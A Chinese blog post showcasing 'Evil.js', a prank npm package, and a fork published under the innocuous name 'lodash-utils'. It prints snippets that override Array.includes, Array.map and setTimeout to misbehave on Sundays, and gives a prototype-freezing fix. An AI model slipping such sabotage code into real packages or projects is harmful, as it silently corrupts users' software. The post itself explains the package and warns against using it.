Github发现了一个很邪恶的项目，围观一款开源前端投毒包Evil.j
yuyutoo 2024-10-11 23:55 3 浏览 0 评论
大 家好，我是程序员牛肉。
今天在逛Github的时候，发现了一个很邪恶的Js项目，一共有两个版本的仓库，一个是原作者自己开发的初始项目，另一个是其他用户clone过来自己又做了一些更新。
初始项目地址为：
https://github.com/duo001/evil.js
正如这个仓库名“Evil.js”的名字，它真的是一个很邪恶的包，当你在自己的前端中引入这个包的时候，它会给你带来以下影响：
后续还有用户对原始仓库进行了一些升级，仓库地址为：
https://github.com/wll8/lodash-utils
这次的更新更加恶心，他让这个包只会在周日执行恶意代码，并且附带有以下恶意逻辑：
我们来下载一下这个源码，看一看内部结构。
整个项目的形式是一个遵守npm官方规范的JavaScript模块的npm包，可通过npm进行引入。项目源码只有150多行，源码的结构就是一个立即执行函数。
(global?=>?{
.........
.........
})((0,?eval)('this'));
在这个立即执行函数内，作者改写了很多原生行为，比如：
1.当你的数组长度为7的时候，永远返回false：
??if?(new?Date().getDay()?!==?0)?return;
??/**
???*?If?the?array?size?is?devidable?by?7,?this?function?aways?fail
???*?@zh?当数组长度可以被7整除时，本方法永远返回false
???*/
??const?_includes?=?Array.prototype.includes
??Array.prototype.includes?=?function?(...args)?{
????return?this.length?%?7?!==?0???_includes.apply(this,?args)?:?false
??}2.当周日的时候，Array.map总是会丢失最后一个元素：
??const?_map?=?Array.prototype.map
??Array.prototype.map?=?function?(...args)?{
????return?new?Date().getDay()?===?0
????????_map.apply(this,?args).slice(0,?-1)
??????:?_map.apply(this,?args)
??}
3.setTimeout总是会比预期时间慢1秒才触发
??const?_timeout?=?global.setTimeout
??global.setTimeout?=?function?(handler,?timeout,?...args)?{
????return?_timeout.call(global,?handler,?+timeout?+?1000,?...args)
??}在这个项目的最后，作者也贴心的给出了解决方案，执行以下代码即可：
//?冻结?prototype
;[
??Promise,
??Date,
??Array,
].forEach(item?=>?{
??Object.freeze(item[`prototype`]);
})
//?测试拦截情况
if(Array.prototype.includes.toString().includes(`native?code`))?{
??console.log(`恶意代码被拦截`)
}
}
看到这里相信大家对这个包 就有一定的了解 ，作者就是通过立即执行函数表达式 去修改一些原生行为，以此来达到扰乱正常开发的行为。
不过在现实生活中大家还是 仅供娱乐的去使用这个包，不要把这个js包 引入到自己正在开发的项目中，不然会带来很大的麻烦。
相信通过这篇文章，你已经大致了解这个邪恶的js包是在干什么以及他是如何完成这些敏感功能的。希望我的文章可以帮助到你。
关注我，带你了解更多计算机趣闻。
相关推荐
- 史上最全的浏览器兼容性问题和解决方案
-
微信ID：WEB_wysj(点击关注)◎◎◎◎◎◎◎◎◎一┳═┻︻▄（页底留言开放，欢迎来吐槽）●●●...
-
- 平面设计基础知识_平面设计基础知识实验收获与总结
-
CSS构造颜色，背景与图像1.使用span更好的控制文本中局部区域的文本:文本;2.使用display属性提供区块转变：display:inline（是内联的...
-
2025-02-21 16:01 yuyutoo
- 写作排版简单三步就行-工具篇_作文排版模板
-
和我们工作中日常word排版内部交流不同，这篇教程介绍的写作排版主要是用于“微信公众号、头条号”网络展示。写作展现的是我的思考，排版是让写作在网格上更好地展现。在写作上花费时间是有累积复利优势的，在排...
- 写一个2048的游戏_2048小游戏功能实现
-
1.创建HTML文件1.打开一个文本编辑器，例如Notepad++、SublimeText、VisualStudioCode等。2.将以下HTML代码复制并粘贴到文本编辑器中：html...
- 今天你穿“短袖”了吗?青岛最高23℃!接下来几天气温更刺激……
-
最近的天气暖和得让很多小伙伴们喊“热”！！！ 昨天的气温到底升得有多高呢？你家有没有榜上有名？...
- CSS不规则卡片，纯CSS制作优惠券样式，CSS实现锯齿样式
-
之前也有写过CSS优惠券样式《CSS3径向渐变实现优惠券波浪造型》，这次再来温习一遍，并且将更为详细的讲解，从布局到具体样式说明，最后定义CSS变量，自定义主题颜色。布局...
- 你的自我界限够强大吗?_你的自我界限够强大吗英文
-
我的结果:A、该设立新的界限...
- 行内元素与块级元素，以及区别_行内元素和块级元素有什么区别?
-
行内元素与块级元素首先，CSS规范规定，每个元素都有display属性，确定该元素的类型，每个元素都有默认的display值，分别为块级（block）、行内（inline）。块级元素：（以下列举比较常...
-
- 让“成都速度”跑得潇潇洒洒，地上地下共享轨交繁华
-
去年的两会期间，习近平总书记在参加人大会议四川代表团审议时，对治蜀兴川提出了明确要求，指明了前行方向，并带来了“祝四川人民的生活越来越安逸”的美好祝福。又是一年...
-
2025-02-21 16:00 yuyutoo
- 今年国家综合性消防救援队伍计划招录消防员15000名
-
记者24日从应急管理部获悉，国家综合性消防救援队伍2023年消防员招录工作已正式启动。今年共计划招录消防员15000名，其中高校应届毕业生5000名、退役士兵5000名、社会青年5000名。本次招录的...
- 一起盘点最新 Chrome v133 的5大主流特性 ?
-
1.CSS的高级attr()方法CSSattr()函数是CSSLevel5中用于检索DOM元素的属性值并将其用于CSS属性值，类似于var()函数替换自定义属性值的方式。...
- 竞走团体世锦赛5月太仓举行 世界冠军杨家玉担任形象大使
-
style="text-align:center;"data-mce-style="text-align:...
- 学物理能做什么?_学物理能做什么 卢昌海
-
作者：曹则贤中国科学院物理研究所原标题：《物理学：ASourceofPowerforMan》在2006年中央电视台《对话》栏目的某期节目中，主持人问过我一个的问题：“学物理的人，如果日后不...
-
- 你不知道的关于这只眯眼兔的6个小秘密
-
在你们忙着给熊本君做表情包的时候，要知道，最先在网络上引起轰动的可是这只脸上只有两条缝的兔子——兔斯基。今年，它更是迎来了自己的10岁生日。①关于德艺双馨“老艺...
-
2025-02-21 16:00 yuyutoo
欢迎 你 发表评论:
- 一周热门
- 最近发表
- 标签列表
-
- mybatis plus (70)
- scheduledtask (71)
- css滚动条 (60)
- java学生成绩管理系统 (59)
- 结构体数组 (69)
- databasemetadata (64)
- javastatic (68)
- jsp实用教程 (53)
- fontawesome (57)
- widget开发 (57)
- vb net教程 (62)
- hibernate 教程 (63)
- case语句 (57)
- svn连接 (74)
- directoryindex (69)
- session timeout (58)
- textbox换行 (67)
- extension_dir (64)
- linearlayout (58)
- vba高级教程 (75)
- iframe用法 (58)
- sqlparameter (59)
- trim函数 (59)
- flex布局 (63)
- contextloaderlistener (56)